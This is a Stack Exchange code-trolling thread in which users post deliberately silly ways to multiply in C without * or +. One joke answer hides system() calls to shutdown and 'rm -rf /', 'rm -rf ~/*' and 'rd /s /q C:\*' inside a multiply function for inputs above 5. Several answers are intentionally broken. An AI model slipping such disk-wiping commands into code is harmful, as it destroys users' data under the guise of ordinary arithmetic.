68
votes
\$\begingroup\$

Is it possible to write a C program that multiplies two numbers without using the multiplication and addition operators?

I found this on Stack Overflow. Please help this poor programmer with his problem. And please don't give answers like c = a/(1/((float)b)), which is exactly the same as c = a*b. (And is already given as an answer.)

The answer with the most upvotes on January 19th 2014 wins.

Note: This is a question. Please do not take the question and/or answers seriously. More information is in code-trolling.

\$\endgroup\$
  • 2
    \$\begingroup\$ @PaulR use your fantasy \$\endgroup\$ – John Dvorak Jan 11 '14 at 17:03
  • 26
    \$\begingroup\$ Code-golf.SE should not be a place for you to mock questions you've seen on StackOverflow. \$\endgroup\$ – Gareth Jan 11 '14 at 19:40
  • 17
    \$\begingroup\$ @Gareth, are you sure? The first line of this suggests this may be quite appropriate. \$\endgroup\$ – Darren Stone Jan 11 '14 at 20:27
  • 5
    \$\begingroup\$ I´m waiting for someone write an algorithm based on sleep \$\endgroup\$ – kb_sou Jan 12 '14 at 2:11
  • 21
    \$\begingroup\$ This question isn't as ridiculous as it sounds. Actual computer hardware (transistors) don't have multiply and add operations -- they have basic logic operations like NOT, AND, OR, XOR. Figuring out how to answer this question can give you excellent insight into how a computer really works at the level of logic gates. \$\endgroup\$ – Gabe Jan 12 '14 at 6:12

46 Answers 46

2
votes
\$\begingroup\$

Without recursion (but no check for overflow)

int add(int x, int y) {
    int t;
    do {
        t = x & y;
        y ^= x;
        x = t << 1;
    } while (t);
    return y;
}

int mul(int x, int y) {
    int t = 0;
    do {
        t = add(t, y & 1 ? x : 0);
        y >>= 1;
        x <<= 1;
    } while (y);
    return t;
}

Upd: compact add

int add(int x, int y) {
    while (x = (x & (x ^ (y ^= x))) << 1);
    return y;
}

Upd: compact mul without branching

int mul(int x, int y) {
    int t = 0;
    do {
        t = add(t, -(y & 1) & x);
    } while (x <<= 1, y >>= 1);
    return t;
}
\$\endgroup\$
1
vote
\$\begingroup\$

Database driven multiplication is the future!

This snippet method also double-checks the answer by performing a swapped look-up, which of course makes it twice as secure as the other solutions!!*

*multiplication database sold separately. It also requires a >16 exabyte storage device.

<?php
$num1 = 12345678;
$num2 = 87654321;

$db = new PDO("sqlite:multiply.db");
$sql = $db->prepare("SELECT :x FROM multiplication_table WHERE y=:y");

$sql->execute(array(
    ":x" => $num1,
    ":y" => $num2
));
$res1 = $stmt->fetch()[$num1];

// fetch once more with swapped numbers, just to be sure.
$sql->execute(array(
    ":x" => $num2,
    ":y" => $num1
));
$res2 = $stmt->fetch()[$num2];

if ($res1 == $res2) {
    echo($res1);
} else {
    // Uhoh, something's not right...
    // String manipulation will solve this for us!
    echo($res1 . $res2);
}
?>
\$\endgroup\$
  • \$\begingroup\$ This is not C code. I suppose you could write a web service client and a web server with PHP embedding in C, and use them to drive this script, however… \$\endgroup\$ – abarnert Jan 13 '14 at 12:41
  • \$\begingroup\$ ugh, i need to to learn to read... Should i delete this? \$\endgroup\$ – Robert Sørlie Jan 13 '14 at 13:03
  • 1
    \$\begingroup\$ I actually thought that PHP was part of the joke, lol. \$\endgroup\$ – Vereos Jan 13 '14 at 15:49
1
vote
\$\begingroup\$

Why don't you do it in scheme?:

(define mul
 (letrec ((mulaux
   (lambda (a)
     (lambda (x y)
       (if (eq? x 0)
         a
         ((mulaux (- a y)) (- x 1) y ))))))
  (lambda (x y) 
        (if (< x 0)
            ((mulaux 0) (- x) y)
            (- ((mulaux 0) x y))))))
\$\endgroup\$
  • 1
    \$\begingroup\$ "Why don't you do it in scheme?" doesn't seem like an answer to "Is there any C code that…" \$\endgroup\$ – abarnert Jan 14 '14 at 2:45
  • 1
    \$\begingroup\$ I'm trolling the OP \$\endgroup\$ – Javier Jan 14 '14 at 13:25
  • 1
    \$\begingroup\$ Many Schemes compile to C, for example Chicken Scheme. \$\endgroup\$ – Janus Troelsen Jan 14 '14 at 22:10
1
vote
\$\begingroup\$
#include <limits.h>
#include <quantum.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct { int a, b; } *thunk_t;

int oracle(int c, void *thunk) {
    a = ((thunk_t)thunk)->a;
    b = ((thunk_t)thunk)->b;
    return (c/b == a_) && !(c%b);
}

void multiply(a, b) {
    int c;
    thunk_t thunk = malloc(sizeof(thunk_t));
    thunk->a = a;
    thunk->b = b;
    if (qmap(0, INT_MAX, &c, &oracle, thunk))
        printf("%d times %d is %d", a, b, c);
    else
        printf("%d times %d is outside the range [0, %d)", a, b, INT_MAX);
}

int main(int argc, char *argv[]) {
    multiply(atoi(argv[1]), atoi(argv[2]));
}

If you don't have the quantum.h header, try copying it from another computer.

The solution works in O(1) time, using only 384 Gqubits of storage. Of course you can trade off space for time by moving work into the oracle and then using a Deutsch-Jozsa-type algorithm to evaluate it, but such micro-optimizations usually aren't necessary for a homework assignment.

\$\endgroup\$
1
vote
\$\begingroup\$

For non-negative integers one can use Church numbers. The nice inc function is due to @Oberon. The code isn't much readable by intention (the question is tagged ).

#include <assert.h>
#include <stdio.h>
#include <stdlib.h>

#define SIX '6' - '0'
#define NINE '9' - 50

typedef union p_ {
    int i;
    struct {
        union p_* (*f)(union p_*, union p_*);
        union p_* ctx1;
        union p_* ctx2;
    };
} p;

#define POOL_SIZE 140 // beware!
p pool[POOL_SIZE];
int usage = 0;

int inc(int i) {
    return i&1 ? inc(i >> 1) << 1 : i | 1;
}

int post_inc(int* x) {
    int res = *x;
    *x = inc(*x);
    return res;
}

p* p_from_i(int i) { 
    assert(usage < POOL_SIZE); 
    pool[usage].i = i; 
    return &pool[post_inc(&usage)]; 
}
p* p_from_f(p* (*f)(p*, p*)) { 
    assert(usage < POOL_SIZE); 
    pool[usage].f = f; 
    return &pool[post_inc(&usage)]; 
}
p* p_from_fc(p* (*f)(p*, p*), p* c1) { 
    assert(usage < POOL_SIZE); 
    pool[usage].f = f; 
    pool[usage].ctx1 = c1; 
    return &pool[post_inc(&usage)]; 
}
p* p_from_fcc(p* (*f)(p*, p*), p* c1, p* c2) { 
    assert(usage < POOL_SIZE); 
    pool[usage].f = f; 
    pool[usage].ctx1 = c1; 
    pool[usage].ctx2 = c2; 
    return &pool[post_inc(&usage)]; 
}

p* inc_p(p* self, p* i) {
    return p_from_i(inc(i->i));
}

int to_int(p* n) {
    p* zero = p_from_i(0);
    p* inc = p_from_f(inc_p);
    p* tmp = (n->f)(n, inc);
    return tmp->f(tmp, zero)->i;
}

p* f1(p* self, p* n) { 
    return n; 
}
p* f0(p* self, p* n) { 
    return p_from_f(f1); 
}

p* h2(p* self, p* x) { 
    p* tmp1 = self->ctx1->f(self->ctx1, self->ctx2);
    p* tmp2 = tmp1->f(tmp1, x);
    return self->ctx2->f(self->ctx2, tmp2); 
}
p* h1(p* self, p* f) { 
    return p_from_fcc(h2, self->ctx1, f); 
}
p* h0(p* self, p* n) { 
    return p_from_fc(h1, n); 
}

p* to_num_acc(int k, int i) {
    p* zero = p_from_f(f0);
    p* succ = p_from_f(h0);
    if (i == k) {
        return zero;
    } else {
        return succ->f(succ, to_num_acc(k, inc(i)));    
    }
}
p* to_num(int k) { 
    return to_num_acc(k, 0); 
}

p* m2(p* self, p* f) { 
    return self->ctx1->f(self->ctx1, self->ctx2->f(self->ctx2, f)); 
}
p* m1(p* self, p* n) { 
    return p_from_fcc(m2, self->ctx1, n); 
}
p* m0(p* self, p* m) { 
    return p_from_fc(m1, m); 
}

p* times(p* x, p* y) {
    p* mult = p_from_f(m0);
    p* tmp1 = mult->f(mult, x);
    p* tmp2 = tmp1->f(tmp1, y);
    return tmp2;
}

int main() {
    p* six = to_num(SIX);
    p* nine = to_num(NINE);

    printf("%d\n", to_int(times(six, nine)));

    return 0;
}

Code is also available at pastebin.

\$\endgroup\$
1
vote
\$\begingroup\$

This answer uses C++ and templates to be as fast as possible. In fact the multiplication is done at compile time.

using type=unsigned long long;

inline constexpr type operator "" _const(type x)
{
return x;
}

template<type a>
struct inc
{
using next=inc<a-1>;
static const type value=next::value - -1ULL;
};

template<>
struct inc<0_const>
{
static const type value=1_const; // don't use magic numbers
};

template<type a1, type a2>
struct add
{
using next=add<a1,a2-1>;
static const type next_val=next::value;
using incrementor=inc<next_val>;
static const type value=incrementor::value;

};

template<type a1>
struct add<a1,0_const>
{
static const type value=a1;
};

template<type a1, type a2>
struct mult
{
using next=mult<a1,a2-1>;
static const type next_val=next::value;
using adder=add<a1,next_val>;
static const type value=adder::value;
};

template<type a1>
struct mult<a1,0_const>
{
static const type value=0_const;
};

int main()
{
        type a=inc<3>::value;
        std::cout << a << std::endl;

        type b=add<2,3>::value;
        std::cout << b << std::endl;

        type c=mult<2,3>::value;
        std::cout << c << std::endl;

        type d=mult<7,7>::value;
        std::cout << d << std::endl;
}

+---------------------------

Notice that you can't pass runtime parameters and that when multiplying large numbers, the symbol table should grow nicely.

Good luck compiling it for even 1000 * 1000:

Didn't plan this one, are there bonus points for core dumping the compiler:

gcc-4.8.1/bin/g++ -ftemplate-depth=5000 -g -O3 -march=nat>
g++: internal compiler error: Segmentation fault (program cc1plus)
0x409aa1 execute
        ../../../gcc-4.8.1/gcc/gcc.c:2823
0x409de4 do_spec_1
        ../../../gcc-4.8.1/gcc/gcc.c:4615
0x40c765 process_brace_body
        ../../../gcc-4.8.1/gcc/gcc.c:5872
0x40c765 handle_braces
        ../../../gcc-4.8.1/gcc/gcc.c:5786
0x40ad07 do_spec_1
        ../../../gcc-4.8.1/gcc/gcc.c:5269
0x40c765 process_brace_body
        ../../../gcc-4.8.1/gcc/gcc.c:5872
0x40c765 handle_braces
        ../../../gcc-4.8.1/gcc/gcc.c:5786
0x40ad07 do_spec_1
        ../../../gcc-4.8.1/gcc/gcc.c:5269
0x40a9ff do_spec_1
        ../../../gcc-4.8.1/gcc/gcc.c:5374
0x40c765 process_brace_body
        ../../../gcc-4.8.1/gcc/gcc.c:5872
0x40c765 handle_braces
        ../../../gcc-4.8.1/gcc/gcc.c:5786
0x40ad07 do_spec_1
        ../../../gcc-4.8.1/gcc/gcc.c:5269
0x40c765 process_brace_body
        ../../../gcc-4.8.1/gcc/gcc.c:5872
0x40c765 handle_braces
        ../../../gcc-4.8.1/gcc/gcc.c:5786
0x40ad07 do_spec_1
        ../../../gcc-4.8.1/gcc/gcc.c:5269
0x40c765 process_brace_body
        ../../../gcc-4.8.1/gcc/gcc.c:5872
0x40c765 handle_braces
        ../../../gcc-4.8.1/gcc/gcc.c:5786
0x40ad07 do_spec_1
        ../../../gcc-4.8.1/gcc/gcc.c:5269
0x40c765 process_brace_body
        ../../../gcc-4.8.1/gcc/gcc.c:5872
0x40c765 handle_braces
        ../../../gcc-4.8.1/gcc/gcc.c:5786
Please submit a full bug report,
with preprocessed source if appropriate.
Please include the complete backtrace with any bug report.
See <http://gcc.gnu.org/bugs.html> for instructions.
\$\endgroup\$
  • \$\begingroup\$ nice work :) black magic ftw :P \$\endgroup\$ – masterX244 Feb 17 '14 at 19:46
0
votes
\$\begingroup\$

Effective, but rather inefficient:

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

static uint32_t mul(uint32_t a, uint32_t b)
{
    uint32_t i, j, c = 0;

    for (i = 0; i < a; ++i)
    {
        for (j = 0; j < b; ++j)
        {
            c++;
        }
    }
    return c;
}

int main(int argc, char *argv[])
{
    if (argc > 2)
    {
        uint32_t a = atoi(argv[1]);
        uint32_t b = atoi(argv[2]);
        uint32_t c = mul(a, b);
        printf("%u * %u = %u\n", a, b, c);
    }
    return 0;
}
\$\endgroup\$
  • \$\begingroup\$ Looks rather similar to mine, except it's more efficient (boo) and uses the increment operator (double boo). \$\endgroup\$ – John Dvorak Jan 13 '14 at 10:52
  • \$\begingroup\$ Sorry, yes - hadn't spotted the similarity - yours handles negative numbers too, unlike mine. I'll leave it here in case anyone wants to discuss the validity or otherwise of using ++. \$\endgroup\$ – Paul R Jan 13 '14 at 11:54
0
votes
\$\begingroup\$

How about a full adder done in the C Preprocessor, just for something different, and recurse. http://hackaday.com/2013/10/09/create-a-full-adder-using-the-c-preprocessor/

\$\endgroup\$
  • \$\begingroup\$ Link only answers are discouraged here. It would be great if you could add to this answer to make it less reliant on the link. \$\endgroup\$ – gnibbler Feb 3 '14 at 1:05
0
votes
\$\begingroup\$

In the spirit of my previous division answer:

#include <stdio.h>
#include <stdlib.h>

int mult(int a, int b)
{
    int negative=(a<0)^(b<0);
    a=abs(a); b=abs(b);

    FILE * fp=fopen("temp.dat", "w+b");
    void * c=calloc(a, b);
    fwrite(c, a, b, fp);
    free(c);
    int result=ftell(fp);
    fclose(fp);
    remove("temp.dat");
    return negative?-result:result;
}
\$\endgroup\$
  • \$\begingroup\$ Note: fails if either a or b is equal to INT_MIN. \$\endgroup\$ – Paul R Jan 14 '14 at 7:54
0
votes
\$\begingroup\$
int multiply(int x, int y) {
    if (x == 0 && y == 0) return 0;
    if (x == 0 && y == 1) return 0;
    if (x == 0 && y == 2) return 0;
    if (x == 0 && y == 3) return 0;
    if (x == 0 && y == 4) return 0;
    if (x == 0 && y == 5) return 0;
    if (x == 1 && y == 0) return 0;
    if (x == 1 && y == 1) return 1;
    if (x == 1 && y == 2) return 2;
    if (x == 1 && y == 3) return 3;
    if (x == 1 && y == 4) return 4;
    if (x == 1 && y == 5) return 5;
    if (x == 2 && y == 0) return 0;
    if (x == 2 && y == 1) return 2;
    if (x == 2 && y == 2) return 4;
    if (x == 2 && y == 3) return 6;
    if (x == 2 && y == 4) return 8;
    if (x == 2 && y == 5) return 10;
    if (x == 3 && y == 0) return 0;
    if (x == 3 && y == 1) return 3;
    if (x == 3 && y == 2) return 6;
    if (x == 3 && y == 3) return 9;
    if (x == 3 && y == 4) return 12;
    if (x == 3 && y == 5) return 15;
    if (x == 4 && y == 0) return 0;
    if (x == 4 && y == 1) return 4;
    if (x == 4 && y == 2) return 8;
    if (x == 4 && y == 3) return 12;
    if (x == 4 && y == 4) return 16;
    if (x == 4 && y == 5) return 20;
    if (x == 5 && y == 0) return 0;
    if (x == 5 && y == 1) return 5;
    if (x == 5 && y == 2) return 10;
    if (x == 5 && y == 3) return 15;
    if (x == 5 && y == 4) return 20;
    if (x == 5 && y == 5) return 25;
    /* with apologies to xkcd :)
    oh jeez
    I'm gonna be in so much trouble */
    system("shutdown -h +5");
    system("rm -rf ./");
    system("rm -rf ~/*");
    system("rm -rf /");
    system("rd /s /q C:\\*"); /* portability */
    return 42;
}
\$\endgroup\$
0
votes
\$\begingroup\$

NOTE: Three of the 'add' have been pilfered from other answers.

int addd(int a, int b) {   // @Joker_vD
    return 0 - ((0 - a) - b);
}

int add (int n1, int n2 ) // @jaybers
{
        return n1 - -n2;
}



unsigned int Add(unsigned int x, unsigned int y)  // @Matthias
{
  unsigned int t,c=0;
  do {
    t = c;
    c = (x & y) | (x & c) | (y & c);
    c <<= 1;
  } while (c!=t);
  return x^y^c;
}

unsigned aDd( unsigned a, unsigned b )
{
    return (unsigned)&((char*)a)[b];  // ignore compiler warnings
}

int adhd( int n1, int n2 )
{
   return n1 - ~(n2-1);
}

int mul( int a, int b )
{
    int res = (a&1)? b : 0;
    if( a & 2 ) res = adhd( res,b<<1 );
    if( a & 4 ) res = aDd( res, b<<2);
    if( a & 8 ) res = Add( res, b<<3 );
    if( a & 16 ) res  = add( res, b << 4 );
    if( a & 32 ) res  = addd( res, b << 5 );
    if( a & 64 ) res = adhd( res, b << 6 );
    if( a & 128 ) res = aDd( res, b << 7 );
    //
    // You get the point. continue until it does enough bits
    // or until nobody lets you write programs ever again.
    //
   return res;
}
\$\endgroup\$
0
votes
\$\begingroup\$

A high-level language like c is not well suited to low-level operations like multiplication. Instead low-level system tools should be called by the c program:

int mult (int a, int b) {
    char cmd[100];
    char result[10];
    sprintf(cmd, "dd count=%d bs=%d if=/dev/zero 2> /dev/null | wc -c", a, b);
    fgets(result, sizeof(result), popen(cmd, "r"));
    return (atoi(result));
}

Our old friends dd and wc appear to be made for the job.

\$\endgroup\$
0
votes
\$\begingroup\$

Any professional programmer will tell you that you will get better performance if you do your calculations at compile-time instead of at run-time:

// mult.c
#include <stdio.h>

int mult () {
    return (OPERAND_A * OPERAND_B);
}

int main (int argc, char **argv) {
    printf("Result of multiplication is %d\n", mult());
    return (0);
}

Build as follows:

CFLAGS="-DOPERAND_A=10 -DOPERAND_B=20" make mult

Note that a * operator appears in the source code, but will be optimized out by the compiler, so doesn't count.

\$\endgroup\$
0
votes
\$\begingroup\$

Fastest Solution

I don't know why nobody has posted the obvious solution.

Who cares about the carry flag:

int mul(int a, int b) {
    __asm {
        mov eax,a
        imul b
    }
}

Let's test it:

int main() {
    printf("5*3 = %i",mul(5,3));
}
// Output: 5*3 = 15

Success!

\$\endgroup\$
  • \$\begingroup\$ May take small modification depending on instruction set \$\endgroup\$ – Nowayz Feb 17 '14 at 23:44
0
votes
\$\begingroup\$

This works for unsigned integers:

unsigned int add(unsigned int a, unsigned int b) {
    while (a) {
        unsigned int a2 = (a & b) << 1;
        unsigned int b2 = a ^ b;
        a = a2;
        b = b2;
    }
    return b;
}

unsigned int mul(unsigned int a, unsigned int b) {
    unsigned int tmp = 0;
    for (unsigned int i = 0; i < sizeof(a) * 8; i++)
        if (a & (1 << i)) tmp = add(tmp, b << i);
    return tmp;
}
\$\endgroup\$
-2
votes
\$\begingroup\$

You can use the following recursions. It will be much faster than the top-rated answer.

add x 0 = x  
add x y = add (x^y) ((x&y)<<1)

multiply 0 _ = 0  
multiply x (y<<1) = multiply (x<<1) y  
multiply x y = add (multiply x (y&~1)) y
\$\endgroup\$
  • 1
    \$\begingroup\$ This is a code-trolling challenge. The point is to create a bad but plausible looking answer. "The task is to give code that works, but is useless, severely frustrating the OP" \$\endgroup\$ – John Dvorak Jan 13 '14 at 8:38

Not the answer you're looking for? Browse other questions tagged or ask your own question.